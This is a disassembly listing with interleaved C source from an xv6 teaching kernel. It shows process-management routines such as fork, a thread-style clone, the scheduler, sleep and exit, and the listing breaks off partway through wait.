801033d9: f3 0f 1e fb endbr32
801033dd: 55 push %ebp
801033de: 89 e5 mov %esp,%ebp
801033e0: 56 push %esi
801033e1: 53 push %ebx
801033e2: 8b 75 08 mov 0x8(%ebp),%esi
struct proc *curproc = myproc();
801033e5: e8 db fe ff ff call 801032c5 <myproc>
801033ea: 89 c3 mov %eax,%ebx
sz = curproc->sz;
801033ec: 8b 08 mov (%eax),%ecx
if(n > 0){
801033ee: 85 f6 test %esi,%esi
801033f0: 7f 09 jg 801033fb <growproc+0x22>
} else if(n < 0){
801033f2: 78 26 js 8010341a <growproc+0x41>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801033f4: b8 54 2d 11 80 mov $0x80112d54,%eax
801033f9: eb 45 jmp 80103440 <growproc+0x67>
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
801033fb: 83 ec 04 sub $0x4,%esp
801033fe: 01 ce add %ecx,%esi
80103400: 56 push %esi
80103401: 51 push %ecx
80103402: ff 70 04 pushl 0x4(%eax)
80103405: e8 25 31 00 00 call 8010652f <allocuvm>
8010340a: 89 c1 mov %eax,%ecx
8010340c: 83 c4 10 add $0x10,%esp
8010340f: 85 c0 test %eax,%eax
80103411: 75 e1 jne 801033f4 <growproc+0x1b>
return -1;
80103413: b8 ff ff ff ff mov $0xffffffff,%eax
80103418: eb 4a jmp 80103464 <growproc+0x8b>
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
8010341a: 83 ec 04 sub $0x4,%esp
8010341d: 01 ce add %ecx,%esi
8010341f: 56 push %esi
80103420: 51 push %ecx
80103421: ff 70 04 pushl 0x4(%eax)
80103424: e8 70 30 00 00 call 80106499 <deallocuvm>
80103429: 89 c1 mov %eax,%ecx
8010342b: 83 c4 10 add $0x10,%esp
8010342e: 85 c0 test %eax,%eax
80103430: 75 c2 jne 801033f4 <growproc+0x1b>
return -1;
80103432: b8 ff ff ff ff mov $0xffffffff,%eax
80103437: eb 2b jmp 80103464 <growproc+0x8b>
p->sz = curproc->sz;
80103439: 8b 13 mov (%ebx),%edx
8010343b: 89 10 mov %edx,(%eax)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010343d: 83 e8 80 sub $0xffffff80,%eax
80103440: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103445: 73 0a jae 80103451 <growproc+0x78>
if ( p->pgdir == curproc->pgdir) {
80103447: 8b 73 04 mov 0x4(%ebx),%esi
8010344a: 39 70 04 cmp %esi,0x4(%eax)
8010344d: 75 ee jne 8010343d <growproc+0x64>
8010344f: eb e8 jmp 80103439 <growproc+0x60>
curproc->sz = sz;
80103451: 89 0b mov %ecx,(%ebx)
switchuvm(curproc);
80103453: 83 ec 0c sub $0xc,%esp
80103456: 53 push %ebx
80103457: e8 15 2e 00 00 call 80106271 <switchuvm>
return 0;
8010345c: 83 c4 10 add $0x10,%esp
8010345f: b8 00 00 00 00 mov $0x0,%eax
}
80103464: 8d 65 f8 lea -0x8(%ebp),%esp
80103467: 5b pop %ebx
80103468: 5e pop %esi
80103469: 5d pop %ebp
8010346a: c3 ret
8010346b <fork>:
{
8010346b: f3 0f 1e fb endbr32
8010346f: 55 push %ebp
80103470: 89 e5 mov %esp,%ebp
80103472: 57 push %edi
80103473: 56 push %esi
80103474: 53 push %ebx
80103475: 83 ec 1c sub $0x1c,%esp
struct proc *curproc = myproc();
80103478: e8 48 fe ff ff call 801032c5 <myproc>
8010347d: 89 c3 mov %eax,%ebx
if((np = allocproc()) == 0){
8010347f: e8 9f fc ff ff call 80103123 <allocproc>
80103484: 89 45 e4 mov %eax,-0x1c(%ebp)
80103487: 85 c0 test %eax,%eax
80103489: 0f 84 e0 00 00 00 je 8010356f <fork+0x104>
8010348f: 89 c7 mov %eax,%edi
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
80103491: 83 ec 08 sub $0x8,%esp
80103494: ff 33 pushl (%ebx)
80103496: ff 73 04 pushl 0x4(%ebx)
80103499: e8 af 32 00 00 call 8010674d <copyuvm>
8010349e: 89 47 04 mov %eax,0x4(%edi)
801034a1: 83 c4 10 add $0x10,%esp
801034a4: 85 c0 test %eax,%eax
801034a6: 74 2a je 801034d2 <fork+0x67>
np->sz = curproc->sz;
801034a8: 8b 03 mov (%ebx),%eax
801034aa: 8b 4d e4 mov -0x1c(%ebp),%ecx
801034ad: 89 01 mov %eax,(%ecx)
np->parent = curproc;
801034af: 89 c8 mov %ecx,%eax
801034b1: 89 59 14 mov %ebx,0x14(%ecx)
*np->tf = *curproc->tf;
801034b4: 8b 73 18 mov 0x18(%ebx),%esi
801034b7: 8b 79 18 mov 0x18(%ecx),%edi
801034ba: b9 13 00 00 00 mov $0x13,%ecx
801034bf: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
np->tf->eax = 0;
801034c1: 8b 40 18 mov 0x18(%eax),%eax
801034c4: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
for(i = 0; i < NOFILE; i++)
801034cb: be 00 00 00 00 mov $0x0,%esi
801034d0: eb 3c jmp 8010350e <fork+0xa3>
kfree(np->kstack);
801034d2: 83 ec 0c sub $0xc,%esp
801034d5: 8b 5d e4 mov -0x1c(%ebp),%ebx
801034d8: ff 73 08 pushl 0x8(%ebx)
801034db: e8 4b eb ff ff call 8010202b <kfree>
np->kstack = 0;
801034e0: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
np->state = UNUSED;
801034e7: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return -1;
801034ee: 83 c4 10 add $0x10,%esp
801034f1: bb ff ff ff ff mov $0xffffffff,%ebx
801034f6: eb 6d jmp 80103565 <fork+0xfa>
np->ofile[i] = filedup(curproc->ofile[i]);
801034f8: 83 ec 0c sub $0xc,%esp
801034fb: 50 push %eax
801034fc: e8 bb d7 ff ff call 80100cbc <filedup>
80103501: 8b 55 e4 mov -0x1c(%ebp),%edx
80103504: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4)
80103508: 83 c4 10 add $0x10,%esp
for(i = 0; i < NOFILE; i++)
8010350b: 83 c6 01 add $0x1,%esi
8010350e: 83 fe 0f cmp $0xf,%esi
80103511: 7f 0a jg 8010351d <fork+0xb2>
if(curproc->ofile[i])
80103513: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
80103517: 85 c0 test %eax,%eax
80103519: 75 dd jne 801034f8 <fork+0x8d>
8010351b: eb ee jmp 8010350b <fork+0xa0>
np->cwd = idup(curproc->cwd);
8010351d: 83 ec 0c sub $0xc,%esp
80103520: ff 73 68 pushl 0x68(%ebx)
80103523: e8 6e e0 ff ff call 80101596 <idup>
80103528: 8b 7d e4 mov -0x1c(%ebp),%edi
8010352b: 89 47 68 mov %eax,0x68(%edi)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
8010352e: 83 c3 6c add $0x6c,%ebx
80103531: 8d 47 6c lea 0x6c(%edi),%eax
80103534: 83 c4 0c add $0xc,%esp
80103537: 6a 10 push $0x10
80103539: 53 push %ebx
8010353a: 50 push %eax
8010353b: e8 0d 0c 00 00 call 8010414d <safestrcpy>
pid = np->pid;
80103540: 8b 5f 10 mov 0x10(%edi),%ebx
acquire(&ptable.lock);
80103543: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010354a: e8 ca 09 00 00 call 80103f19 <acquire>
np->state = RUNNABLE;
8010354f: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi)
release(&ptable.lock);
80103556: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010355d: e8 20 0a 00 00 call 80103f82 <release>
return pid;
80103562: 83 c4 10 add $0x10,%esp
}
80103565: 89 d8 mov %ebx,%eax
80103567: 8d 65 f4 lea -0xc(%ebp),%esp
8010356a: 5b pop %ebx
8010356b: 5e pop %esi
8010356c: 5f pop %edi
8010356d: 5d pop %ebp
8010356e: c3 ret
return -1;
8010356f: bb ff ff ff ff mov $0xffffffff,%ebx
80103574: eb ef jmp 80103565 <fork+0xfa>
80103576 <clone>:
int clone(void(*fcn)(void *, void *), void *arg1, void *arg2, void *stack) {
80103576: f3 0f 1e fb endbr32
8010357a: 55 push %ebp
8010357b: 89 e5 mov %esp,%ebp
8010357d: 57 push %edi
8010357e: 56 push %esi
8010357f: 53 push %ebx
80103580: 83 ec 2c sub $0x2c,%esp
struct proc *curproc = myproc();
80103583: e8 3d fd ff ff call 801032c5 <myproc>
if(((uint)stack % PGSIZE) != 0) {
80103588: f7 45 14 ff 0f 00 00 testl $0xfff,0x14(%ebp)
8010358f: 0f 85 1b 01 00 00 jne 801036b0 <clone+0x13a>
80103595: 89 c3 mov %eax,%ebx
if((curproc->sz - (uint)stack) < PGSIZE){
80103597: 8b 00 mov (%eax),%eax
80103599: 2b 45 14 sub 0x14(%ebp),%eax
8010359c: 3d ff 0f 00 00 cmp $0xfff,%eax
801035a1: 0f 86 10 01 00 00 jbe 801036b7 <clone+0x141>
if((np = allocproc()) == 0){
801035a7: e8 77 fb ff ff call 80103123 <allocproc>
801035ac: 89 c2 mov %eax,%edx
801035ae: 89 45 d0 mov %eax,-0x30(%ebp)
801035b1: 85 c0 test %eax,%eax
801035b3: 0f 84 05 01 00 00 je 801036be <clone+0x148>
np->pgdir = curproc->pgdir;
801035b9: 8b 43 04 mov 0x4(%ebx),%eax
801035bc: 89 d7 mov %edx,%edi
801035be: 89 42 04 mov %eax,0x4(%edx)
stack_arr[0] = 0xffffffff;
801035c1: c7 45 dc ff ff ff ff movl $0xffffffff,-0x24(%ebp)
stack_arr[1] = (uint)arg1;
801035c8: 8b 45 0c mov 0xc(%ebp),%eax
801035cb: 89 45 e0 mov %eax,-0x20(%ebp)
stack_arr[2] = (uint)arg2;
801035ce: 8b 45 10 mov 0x10(%ebp),%eax
801035d1: 89 45 e4 mov %eax,-0x1c(%ebp)
s_ptr -= nargs*4;
801035d4: 8b 45 14 mov 0x14(%ebp),%eax
801035d7: 05 f4 0f 00 00 add $0xff4,%eax
801035dc: 89 c1 mov %eax,%ecx
if (copyout(np->pgdir, s_ptr, stack_arr, nargs*4) < 0){
801035de: 6a 0c push $0xc
801035e0: 8d 45 dc lea -0x24(%ebp),%eax
801035e3: 50 push %eax
801035e4: 89 4d d4 mov %ecx,-0x2c(%ebp)
801035e7: 51 push %ecx
801035e8: ff 72 04 pushl 0x4(%edx)
801035eb: e8 87 32 00 00 call 80106877 <copyout>
801035f0: 83 c4 10 add $0x10,%esp
801035f3: 85 c0 test %eax,%eax
801035f5: 0f 88 ca 00 00 00 js 801036c5 <clone+0x14f>
np->sz = curproc->sz;
801035fb: 8b 03 mov (%ebx),%eax
801035fd: 89 fa mov %edi,%edx
801035ff: 89 07 mov %eax,(%edi)
np->parent = curproc;
80103601: 89 5f 14 mov %ebx,0x14(%edi)
*np->tf = *curproc->tf;
80103604: 8b 73 18 mov 0x18(%ebx),%esi
80103607: 8b 7f 18 mov 0x18(%edi),%edi
8010360a: b9 13 00 00 00 mov $0x13,%ecx
8010360f: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
np->user_stack = stack;
80103611: 89 d7 mov %edx,%edi
80103613: 8b 55 14 mov 0x14(%ebp),%edx
80103616: 89 57 7c mov %edx,0x7c(%edi)
np->tf->eax = 0; //change register
80103619: 8b 47 18 mov 0x18(%edi),%eax
8010361c: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
np->tf->esp = (uint)s_ptr;
80103623: 8b 47 18 mov 0x18(%edi),%eax
80103626: 8b 4d d4 mov -0x2c(%ebp),%ecx
80103629: 89 48 44 mov %ecx,0x44(%eax)
np->tf->eip = (uint)fcn;
8010362c: 8b 47 18 mov 0x18(%edi),%eax
8010362f: 8b 55 08 mov 0x8(%ebp),%edx
80103632: 89 50 38 mov %edx,0x38(%eax)
for(i = 0; i < NOFILE; i++) {
80103635: be 00 00 00 00 mov $0x0,%esi
8010363a: eb 13 jmp 8010364f <clone+0xd9>
np->ofile[i] = filedup(curproc->ofile[i]);
8010363c: 83 ec 0c sub $0xc,%esp
8010363f: 50 push %eax
80103640: e8 77 d6 ff ff call 80100cbc <filedup>
80103645: 89 44 b7 28 mov %eax,0x28(%edi,%esi,4)
80103649: 83 c4 10 add $0x10,%esp
for(i = 0; i < NOFILE; i++) {
8010364c: 83 c6 01 add $0x1,%esi
8010364f: 83 fe 0f cmp $0xf,%esi
80103652: 7f 0a jg 8010365e <clone+0xe8>
if(curproc->ofile[i]) {
80103654: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
80103658: 85 c0 test %eax,%eax
8010365a: 75 e0 jne 8010363c <clone+0xc6>
8010365c: eb ee jmp 8010364c <clone+0xd6>
np->cwd = idup(curproc->cwd);
8010365e: 83 ec 0c sub $0xc,%esp
80103661: ff 73 68 pushl 0x68(%ebx)
80103664: e8 2d df ff ff call 80101596 <idup>
80103669: 8b 7d d0 mov -0x30(%ebp),%edi
8010366c: 89 47 68 mov %eax,0x68(%edi)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
8010366f: 83 c3 6c add $0x6c,%ebx
80103672: 8d 47 6c lea 0x6c(%edi),%eax
80103675: 83 c4 0c add $0xc,%esp
80103678: 6a 10 push $0x10
8010367a: 53 push %ebx
8010367b: 50 push %eax
8010367c: e8 cc 0a 00 00 call 8010414d <safestrcpy>
pid = np->pid;
80103681: 8b 5f 10 mov 0x10(%edi),%ebx
acquire(&ptable.lock);
80103684: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010368b: e8 89 08 00 00 call 80103f19 <acquire>
np->state = RUNNABLE;
80103690: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi)
release(&ptable.lock);
80103697: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010369e: e8 df 08 00 00 call 80103f82 <release>
return pid;
801036a3: 83 c4 10 add $0x10,%esp
}
801036a6: 89 d8 mov %ebx,%eax
801036a8: 8d 65 f4 lea -0xc(%ebp),%esp
801036ab: 5b pop %ebx
801036ac: 5e pop %esi
801036ad: 5f pop %edi
801036ae: 5d pop %ebp
801036af: c3 ret
return -1;
801036b0: bb ff ff ff ff mov $0xffffffff,%ebx
801036b5: eb ef jmp 801036a6 <clone+0x130>
return -1;
801036b7: bb ff ff ff ff mov $0xffffffff,%ebx
801036bc: eb e8 jmp 801036a6 <clone+0x130>
return -1;
801036be: bb ff ff ff ff mov $0xffffffff,%ebx
801036c3: eb e1 jmp 801036a6 <clone+0x130>
return -1;
801036c5: bb ff ff ff ff mov $0xffffffff,%ebx
801036ca: eb da jmp 801036a6 <clone+0x130>
801036cc <scheduler>:
{
801036cc: f3 0f 1e fb endbr32
801036d0: 55 push %ebp
801036d1: 89 e5 mov %esp,%ebp
801036d3: 56 push %esi
801036d4: 53 push %ebx
struct cpu *c = mycpu();
801036d5: e8 6c fb ff ff call 80103246 <mycpu>
801036da: 89 c6 mov %eax,%esi
c->proc = 0;
801036dc: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax)
801036e3: 00 00 00
801036e6: eb 5a jmp 80103742 <scheduler+0x76>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801036e8: 83 eb 80 sub $0xffffff80,%ebx
801036eb: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
801036f1: 73 3f jae 80103732 <scheduler+0x66>
if(p->state != RUNNABLE)
801036f3: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
801036f7: 75 ef jne 801036e8 <scheduler+0x1c>
c->proc = p;
801036f9: 89 9e ac 00 00 00 mov %ebx,0xac(%esi)
switchuvm(p);
801036ff: 83 ec 0c sub $0xc,%esp
80103702: 53 push %ebx
80103703: e8 69 2b 00 00 call 80106271 <switchuvm>
p->state = RUNNING;
80103708: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx)
swtch(&(c->scheduler), p->context);
8010370f: 83 c4 08 add $0x8,%esp
80103712: ff 73 1c pushl 0x1c(%ebx)
80103715: 8d 46 04 lea 0x4(%esi),%eax
80103718: 50 push %eax
80103719: e8 8c 0a 00 00 call 801041aa <swtch>
switchkvm();
8010371e: e8 3c 2b 00 00 call 8010625f <switchkvm>
c->proc = 0;
80103723: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi)
8010372a: 00 00 00
8010372d: 83 c4 10 add $0x10,%esp
80103730: eb b6 jmp 801036e8 <scheduler+0x1c>
release(&ptable.lock);
80103732: 83 ec 0c sub $0xc,%esp
80103735: 68 20 2d 11 80 push $0x80112d20
8010373a: e8 43 08 00 00 call 80103f82 <release>
sti();
8010373f: 83 c4 10 add $0x10,%esp
asm volatile("sti");
80103742: fb sti
acquire(&ptable.lock);
80103743: 83 ec 0c sub $0xc,%esp
80103746: 68 20 2d 11 80 push $0x80112d20
8010374b: e8 c9 07 00 00 call 80103f19 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103750: 83 c4 10 add $0x10,%esp
80103753: bb 54 2d 11 80 mov $0x80112d54,%ebx
80103758: eb 91 jmp 801036eb <scheduler+0x1f>
8010375a <sched>:
{
8010375a: f3 0f 1e fb endbr32
8010375e: 55 push %ebp
8010375f: 89 e5 mov %esp,%ebp
80103761: 56 push %esi
80103762: 53 push %ebx
struct proc *p = myproc();
80103763: e8 5d fb ff ff call 801032c5 <myproc>
80103768: 89 c3 mov %eax,%ebx
if(!holding(&ptable.lock))
8010376a: 83 ec 0c sub $0xc,%esp
8010376d: 68 20 2d 11 80 push $0x80112d20
80103772: e8 5e 07 00 00 call 80103ed5 <holding>
80103777: 83 c4 10 add $0x10,%esp
8010377a: 85 c0 test %eax,%eax
8010377c: 74 4f je 801037cd <sched+0x73>
if(mycpu()->ncli != 1)
8010377e: e8 c3 fa ff ff call 80103246 <mycpu>
80103783: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax)
8010378a: 75 4e jne 801037da <sched+0x80>
if(p->state == RUNNING)
8010378c: 83 7b 0c 04 cmpl $0x4,0xc(%ebx)
80103790: 74 55 je 801037e7 <sched+0x8d>
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103792: 9c pushf
80103793: 58 pop %eax
if(readeflags()&FL_IF)
80103794: f6 c4 02 test $0x2,%ah
80103797: 75 5b jne 801037f4 <sched+0x9a>
intena = mycpu()->intena;
80103799: e8 a8 fa ff ff call 80103246 <mycpu>
8010379e: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi
swtch(&p->context, mycpu()->scheduler);
801037a4: e8 9d fa ff ff call 80103246 <mycpu>
801037a9: 83 ec 08 sub $0x8,%esp
801037ac: ff 70 04 pushl 0x4(%eax)
801037af: 83 c3 1c add $0x1c,%ebx
801037b2: 53 push %ebx
801037b3: e8 f2 09 00 00 call 801041aa <swtch>
mycpu()->intena = intena;
801037b8: e8 89 fa ff ff call 80103246 <mycpu>
801037bd: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax)
}
801037c3: 83 c4 10 add $0x10,%esp
801037c6: 8d 65 f8 lea -0x8(%ebp),%esp
801037c9: 5b pop %ebx
801037ca: 5e pop %esi
801037cb: 5d pop %ebp
801037cc: c3 ret
panic("sched ptable.lock");
801037cd: 83 ec 0c sub $0xc,%esp
801037d0: 68 7b 6e 10 80 push $0x80106e7b
801037d5: e8 82 cb ff ff call 8010035c <panic>
panic("sched locks");
801037da: 83 ec 0c sub $0xc,%esp
801037dd: 68 8d 6e 10 80 push $0x80106e8d
801037e2: e8 75 cb ff ff call 8010035c <panic>
panic("sched running");
801037e7: 83 ec 0c sub $0xc,%esp
801037ea: 68 99 6e 10 80 push $0x80106e99
801037ef: e8 68 cb ff ff call 8010035c <panic>
panic("sched interruptible");
801037f4: 83 ec 0c sub $0xc,%esp
801037f7: 68 a7 6e 10 80 push $0x80106ea7
801037fc: e8 5b cb ff ff call 8010035c <panic>
80103801 <exit>:
{
80103801: f3 0f 1e fb endbr32
80103805: 55 push %ebp
80103806: 89 e5 mov %esp,%ebp
80103808: 56 push %esi
80103809: 53 push %ebx
struct proc *curproc = myproc();
8010380a: e8 b6 fa ff ff call 801032c5 <myproc>
if(curproc == initproc)
8010380f: 39 05 b8 a5 10 80 cmp %eax,0x8010a5b8
80103815: 74 09 je 80103820 <exit+0x1f>
80103817: 89 c6 mov %eax,%esi
for(fd = 0; fd < NOFILE; fd++){
80103819: bb 00 00 00 00 mov $0x0,%ebx
8010381e: eb 24 jmp 80103844 <exit+0x43>
panic("init exiting");
80103820: 83 ec 0c sub $0xc,%esp
80103823: 68 bb 6e 10 80 push $0x80106ebb
80103828: e8 2f cb ff ff call 8010035c <panic>
fileclose(curproc->ofile[fd]);
8010382d: 83 ec 0c sub $0xc,%esp
80103830: 50 push %eax
80103831: e8 cf d4 ff ff call 80100d05 <fileclose>
curproc->ofile[fd] = 0;
80103836: c7 44 9e 28 00 00 00 movl $0x0,0x28(%esi,%ebx,4)
8010383d: 00
8010383e: 83 c4 10 add $0x10,%esp
for(fd = 0; fd < NOFILE; fd++){
80103841: 83 c3 01 add $0x1,%ebx
80103844: 83 fb 0f cmp $0xf,%ebx
80103847: 7f 0a jg 80103853 <exit+0x52>
if(curproc->ofile[fd]){
80103849: 8b 44 9e 28 mov 0x28(%esi,%ebx,4),%eax
8010384d: 85 c0 test %eax,%eax
8010384f: 75 dc jne 8010382d <exit+0x2c>
80103851: eb ee jmp 80103841 <exit+0x40>
begin_op();
80103853: e8 f7 ef ff ff call 8010284f <begin_op>
iput(curproc->cwd);
80103858: 83 ec 0c sub $0xc,%esp
8010385b: ff 76 68 pushl 0x68(%esi)
8010385e: e8 76 de ff ff call 801016d9 <iput>
end_op();
80103863: e8 65 f0 ff ff call 801028cd <end_op>
curproc->cwd = 0;
80103868: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi)
acquire(&ptable.lock);
8010386f: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103876: e8 9e 06 00 00 call 80103f19 <acquire>
wakeup1(curproc->parent);
8010387b: 8b 46 14 mov 0x14(%esi),%eax
8010387e: e8 79 f8 ff ff call 801030fc <wakeup1>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103883: 83 c4 10 add $0x10,%esp
80103886: bb 54 2d 11 80 mov $0x80112d54,%ebx
8010388b: eb 03 jmp 80103890 <exit+0x8f>
8010388d: 83 eb 80 sub $0xffffff80,%ebx
80103890: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103896: 73 1a jae 801038b2 <exit+0xb1>
if(p->parent == curproc){
80103898: 39 73 14 cmp %esi,0x14(%ebx)
8010389b: 75 f0 jne 8010388d <exit+0x8c>
p->parent = initproc;
8010389d: a1 b8 a5 10 80 mov 0x8010a5b8,%eax
801038a2: 89 43 14 mov %eax,0x14(%ebx)
if(p->state == ZOMBIE)
801038a5: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
801038a9: 75 e2 jne 8010388d <exit+0x8c>
wakeup1(initproc);
801038ab: e8 4c f8 ff ff call 801030fc <wakeup1>
801038b0: eb db jmp 8010388d <exit+0x8c>
curproc->state = ZOMBIE;
801038b2: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi)
sched();
801038b9: e8 9c fe ff ff call 8010375a <sched>
panic("zombie exit");
801038be: 83 ec 0c sub $0xc,%esp
801038c1: 68 c8 6e 10 80 push $0x80106ec8
801038c6: e8 91 ca ff ff call 8010035c <panic>
801038cb <yield>:
{
801038cb: f3 0f 1e fb endbr32
801038cf: 55 push %ebp
801038d0: 89 e5 mov %esp,%ebp
801038d2: 83 ec 14 sub $0x14,%esp
acquire(&ptable.lock); //DOC: yieldlock
801038d5: 68 20 2d 11 80 push $0x80112d20
801038da: e8 3a 06 00 00 call 80103f19 <acquire>
myproc()->state = RUNNABLE;
801038df: e8 e1 f9 ff ff call 801032c5 <myproc>
801038e4: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
801038eb: e8 6a fe ff ff call 8010375a <sched>
release(&ptable.lock);
801038f0: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801038f7: e8 86 06 00 00 call 80103f82 <release>
}
801038fc: 83 c4 10 add $0x10,%esp
801038ff: c9 leave
80103900: c3 ret
80103901 <sleep>:
{
80103901: f3 0f 1e fb endbr32
80103905: 55 push %ebp
80103906: 89 e5 mov %esp,%ebp
80103908: 56 push %esi
80103909: 53 push %ebx
8010390a: 8b 75 0c mov 0xc(%ebp),%esi
struct proc *p = myproc();
8010390d: e8 b3 f9 ff ff call 801032c5 <myproc>
if(p == 0)
80103912: 85 c0 test %eax,%eax
80103914: 74 66 je 8010397c <sleep+0x7b>
80103916: 89 c3 mov %eax,%ebx
if(lk == 0)
80103918: 85 f6 test %esi,%esi
8010391a: 74 6d je 80103989 <sleep+0x88>
if(lk != &ptable.lock){ //DOC: sleeplock0
8010391c: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi
80103922: 74 18 je 8010393c <sleep+0x3b>
acquire(&ptable.lock); //DOC: sleeplock1
80103924: 83 ec 0c sub $0xc,%esp
80103927: 68 20 2d 11 80 push $0x80112d20
8010392c: e8 e8 05 00 00 call 80103f19 <acquire>
release(lk);
80103931: 89 34 24 mov %esi,(%esp)
80103934: e8 49 06 00 00 call 80103f82 <release>
80103939: 83 c4 10 add $0x10,%esp
p->chan = chan;
8010393c: 8b 45 08 mov 0x8(%ebp),%eax
8010393f: 89 43 20 mov %eax,0x20(%ebx)
p->state = SLEEPING;
80103942: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
80103949: e8 0c fe ff ff call 8010375a <sched>
p->chan = 0;
8010394e: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
if(lk != &ptable.lock){ //DOC: sleeplock2
80103955: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi
8010395b: 74 18 je 80103975 <sleep+0x74>
release(&ptable.lock);
8010395d: 83 ec 0c sub $0xc,%esp
80103960: 68 20 2d 11 80 push $0x80112d20
80103965: e8 18 06 00 00 call 80103f82 <release>
acquire(lk);
8010396a: 89 34 24 mov %esi,(%esp)
8010396d: e8 a7 05 00 00 call 80103f19 <acquire>
80103972: 83 c4 10 add $0x10,%esp
}
80103975: 8d 65 f8 lea -0x8(%ebp),%esp
80103978: 5b pop %ebx
80103979: 5e pop %esi
8010397a: 5d pop %ebp
8010397b: c3 ret
panic("sleep");
8010397c: 83 ec 0c sub $0xc,%esp
8010397f: 68 d4 6e 10 80 push $0x80106ed4
80103984: e8 d3 c9 ff ff call 8010035c <panic>
panic("sleep without lk");
80103989: 83 ec 0c sub $0xc,%esp
8010398c: 68 da 6e 10 80 push $0x80106eda
80103991: e8 c6 c9 ff ff call 8010035c <panic>
80103996 <wait>:
{
80103996: f3 0f 1e fb endbr32
8010399a: 55 push %ebp
8010399b: 89 e5 mov %esp,%ebp
8010399d: 56 push %esi
8010399e: 53 push %ebx
struct proc *curproc = myproc();
8010399f: e8 21 f9 ff ff call 801032c5 <myproc>
801039a4: 89 c6 mov %eax,%esi
acquire(&ptable.lock);
801039a6: 83 ec 0c sub $0xc,%esp
801039a9: 68 20 2d 11 80 push $0x80112d20
801039ae: e8 66 05 00 00 call 80103f19 <acquire>
801039b3: 83 c4 10 add $0x10,%esp
havekids = 0;
801039b6: b8 00 00 00 00 mov $0x0,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801039bb: bb 54 2d 11 80 mov $0x80112d54,%ebx
801039c0: eb 5b jmp 80103a1d <wait+0x87>
pid = p->pid;
801039c2: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
801039c5: 83 ec 0c sub $0xc,%esp
801039c8: ff 73 08 pushl 0x8(%ebx)
801039cb: e8 5b e6 ff ff call 8010202b <kfree>
p->kstack = 0;
801039d0: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
801039d7: 83 c4 04 add $0x4,%esp
801039da: ff 73 04 pushl 0x4(%ebx)
801039dd: e8 3a 2c 00 00 call 8010661c <freevm>
p->pid = 0;
801039e2: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
801039e9: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
801039f0: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
801039f4: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
801039fb: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
80103a02: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103a09: e8 74 05 00 00 call 80103f82 <release>
return pid;
80103a0e: 83 c4 10 add $0x10,%esp
}
80103a11: 89 f0 mov %esi,%eax
80103a13: 8d 65 f8 lea -0x8(%ebp),%esp
80103a16: 5b pop %ebx
80103a17: 5e pop %esi
80103a18: 5d pop %ebp
80103a19: c3 ret
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a1a: 83 eb 80 sub $0xffffff80,%ebx
80103a1d: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103a23: 73 1a jae 80103a3f <wait+0xa9>
if(p->parent != curproc || p->pgdir == curproc->pgdir)
80103a25: 39 73 14 cmp %esi,0x14(%ebx)
80103a28: 75 f0 jne 80103a1a <wait+0x84>
80103a2a: 8b 56 04 mov 0x4(%esi),%edx
80103a2d: 39 53 04 cmp %edx,0x4(%ebx)
80103a30: 74 e8 je 80103a1a <wait+0x84>
if(p->state == ZOMBIE){
80103a32: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103a36: 74 8a je 801039c2 <wait+0x2c>
havekids = 1;
80103a38: b8 01 00 00 00 mov $0x1,%eax
